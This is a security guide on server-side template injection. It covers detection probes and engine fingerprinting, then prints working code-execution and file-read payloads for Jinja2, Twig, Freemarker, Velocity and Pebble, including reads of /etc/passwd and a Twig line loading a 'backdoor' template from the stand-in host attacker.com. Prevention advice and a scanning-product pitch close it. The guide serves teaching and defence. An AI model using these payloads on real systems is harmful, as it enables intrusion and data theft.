Server-Side Template Injection (SSTI): How to Detect, Exploit, and Prevent It
Server-Side Template Injection sits in an uncomfortable place for most automated scanners: it looks like a template expression, behaves differently in every engine, and requires understanding the syntax of the specific technology stack to identify and exploit. That difficulty is exactly why it's a high-value finding when it appears — and why it appears in production systems more often than it should.
SSTI occurs when user-controlled input is passed directly into a template engine and rendered, rather than being treated as static data. The result ranges from information disclosure to full remote code execution, depending on the engine and available sandbox escapes. This guide covers detection methodology, engine fingerprinting, exploitation payloads, and remediation for the five engines you're most likely to encounter.
How SSTI Differs from Injection Attacks
Template injection is conceptually similar to SQL injection — both occur when user input reaches an interpreter that evaluates it as code rather than data. The key difference is context: template engines have their own expression syntax, object models, and security sandboxes. A payload that achieves RCE in Jinja2 won't even produce an error in Twig, and vice versa.
The root cause is almost always the same pattern:
# Vulnerable: user input concatenated into template string
template_string = "Hello, " + request.args.get("name") + "!"
result = jinja2.Environment().from_string(template_string).render()
# Safe: user input passed as a variable to a fixed template
template = jinja2.Environment().get_template("greeting.html")
result = template.render(name=request.args.get("name"))
In the vulnerable version, if the user passes {{7*7}} as their name, the response contains Hello, 49! — the expression was evaluated. In the safe version, it's output verbatim as the string {{7*7}}. The difference is whether input reaches the template compiler or only the template context.
Detection: The Universal Probe Sequence
The standard approach is to inject mathematical expressions that produce a unique, unambiguous result if evaluated. Start with syntax-agnostic probes and narrow down the engine based on what evaluates.
Tier 1: Universal Detection Probes
# These expressions evaluate to numbers across multiple engines
{{7*7}} # Jinja2, Twig, Pebble, Nunjucks — response should contain 49
${7*7} # Freemarker, Velocity, Groovy — response should contain 49
#{7*7} # Ruby ERB, Thymeleaf — response should contain 49
<%= 7*7 %> # ERB (Ruby), EJS (JavaScript)
{{7*'7'}} # Jinja2 returns 7777777 (string multiplication); Twig returns 49
If any of these return 49 (or 7777777 for Jinja2's string multiplication), you have confirmed template injection. The exact result helps fingerprint the engine before moving to exploitation payloads.
Tier 2: Engine Fingerprinting
| Probe | Expected Result | Engine |
|---|---|---|
{{7*'7'}} | 7777777 | Jinja2 (Python) |
{{7*'7'}} | 49 | Twig (PHP) |
${7*7} | 49 | Freemarker / Velocity (Java) |
{{7*7}} (no output, error on ${7*7}) | No output | Smarty (PHP) |
a{*comment*}b | ab | Smarty |
{{range.constructor("return 1+1")() | 2 | Handlebars (Node) |
Once you know the engine, use engine-specific payloads to escalate from math evaluation to code execution.
Exploitation by Engine
Jinja2 (Python)
Jinja2 runs in a sandboxed environment that restricts access to Python builtins by default. RCE requires walking the Python object hierarchy to escape the sandbox.
# Read /etc/passwd via object traversal
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Find subprocess.Popen in the subclass list (index varies by Python version)
# Then execute a command
{{ ''.__class__.__mro__[1].__subclasses__()[396]('id', shell=True, stdout=-1).communicate() }}
# Alternative via request.application (Flask contexts)
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Cleaner via config (Flask)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
The subclass index for subprocess.Popen varies between Python versions. Use the __subclasses__() dump to find the correct index, or iterate with a loop payload to search for it.
Twig (PHP)
Twig's sandbox disables dangerous functions by default, but unprotected applications expose the full PHP environment:
# Basic RCE (no sandbox)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Via system()
{{["id"]|map("system")|join}}
# Read file
{{"/etc/passwd"|file_get_contents}}
# Sandbox escape via _self
{{_self.env.setCache("ftp://attacker.com/")}}{{_self.env.loadTemplate("backdoor")}}
Freemarker (Java)
Freemarker is common in Java enterprise applications, including Atlassian products historically. The exploitation path goes through the freemarker.template.utility classes:
# Execute system command
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
# Alternative via ObjectWrapper
${product.getClass().forName("java.lang.Runtime").getMethod("exec",product.getClass().forName("java.lang.String")).invoke(product.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# Read file
<#assign fc=object?api.class.forName("java.io.FileInputStream")>
<#assign is=fc?api.getDeclaredConstructors()[0].newInstance("/etc/passwd")>
<#assign sc=object?api.class.forName("java.util.Scanner")>
<#assign s=sc?api.getDeclaredConstructors()[0].newInstance(is)>
${s.useDelimiter("\\A").next()}
Velocity (Java)
Apache Velocity is older and appears in legacy Java applications, CMS platforms, and workflow tools:
# RCE via Runtime
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
# Shorter with ClassTool
#set($rt = $class.forName('java.lang.Runtime'))
#set($exec = $rt.getMethod('exec', $str.class))
#set($p = $exec.invoke($rt.getRuntime(), 'id'))
$p.waitFor()
$p.inputStream
Pebble (Java)
Pebble is a Java template engine used in Spring-based applications:
{% set cmd = "id" %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke((1).TYPE.forName('java.lang.Runtime').methods[7].invoke(null),cmd)
.inputStream
.readAllBytes() %}
{{ bytes | base64encode }}
Common Attack Surfaces
SSTI most frequently appears in:
- Email template customization — "Customize your notification emails" features that let users define the message body using template syntax.
- PDF or report generation — User-supplied content rendered into a server-generated document via a template engine.
- Error messages and 404 pages — The URL or query parameter reflected into an error template without sanitization.
- Search result pages — "Your search for X returned no results" where X is rendered through a template.
- User profile fields — Display name, bio, or signature fields rendered server-side in dashboards.
- CMS and wiki platforms — Especially those built on Confluence, Jira, or custom platforms using Velocity/Freemarker.
- Configuration interfaces — Admin panels where template strings are stored in the database and rendered at request time.
What Automated Scanners Miss
Most DAST scanners will catch basic SSTI when the injection point and output are both in the HTTP response. They tend to miss:
- Stored SSTI — Input saved to a database and rendered later (email template, user profile, config value). The injection and execution are in separate requests; most scanners only correlate within a single request/response cycle.
- Blind SSTI — The rendered output isn't returned in the HTTP response but instead appears in a background process (email sent, PDF generated, log file written). Detection requires out-of-band techniques.
- Sandboxed engines — Some scanners detect template syntax evaluation but don't attempt engine-specific sandbox escapes. A finding of "template injection present" without a RCE PoC may leave the actual risk unclear.
- Partial reflection — Input reflected in only part of a template response, where the evaluated portion isn't directly visible but influences rendering behavior.
Prevention
Never Concatenate User Input Into Template Strings
This is the only rule that actually prevents SSTI. All other controls are defense-in-depth. If user input never reaches the template compiler, injection is impossible regardless of engine version or sandbox configuration.
# Vulnerable
template = env.from_string("Dear " + user_input + ",")
# Safe
template = env.get_template("email.html")
template.render(name=user_input)
Enable Engine Sandboxing
Most engines support a sandbox or restricted execution mode that limits what template expressions can access:
# Jinja2: use SandboxedEnvironment instead of Environment
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
# Freemarker: restrict API access
Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setAPIBuiltinEnabled(false);
# Twig: enable sandbox extension
$twig = new Environment($loader, ['sandbox' => true]);
$policy = new SecurityPolicy($allowedTags, $allowedFilters, $allowedMethods);
$twig->addExtension(new SandboxExtension($policy, true));
Whitelist Allowed Expressions
If your use case genuinely requires user-defined templates (email customization, report templates), define a strict whitelist of allowed operations and deny everything else. Never expose a general-purpose expression evaluator to untrusted input.
Output Encoding
Auto-escaping mitigates XSS but does not prevent SSTI — the injection happens at the template compilation step, before escaping is applied. Escaping is not a substitute for keeping user input out of template strings.
SSTI is notoriously hard to catch with generic scanners because exploitation syntax differs across engines and sandboxes. Ironimo uses Kali Linux tooling with engine-specific payloads to detect injection points your current tooling misses.
Start free scan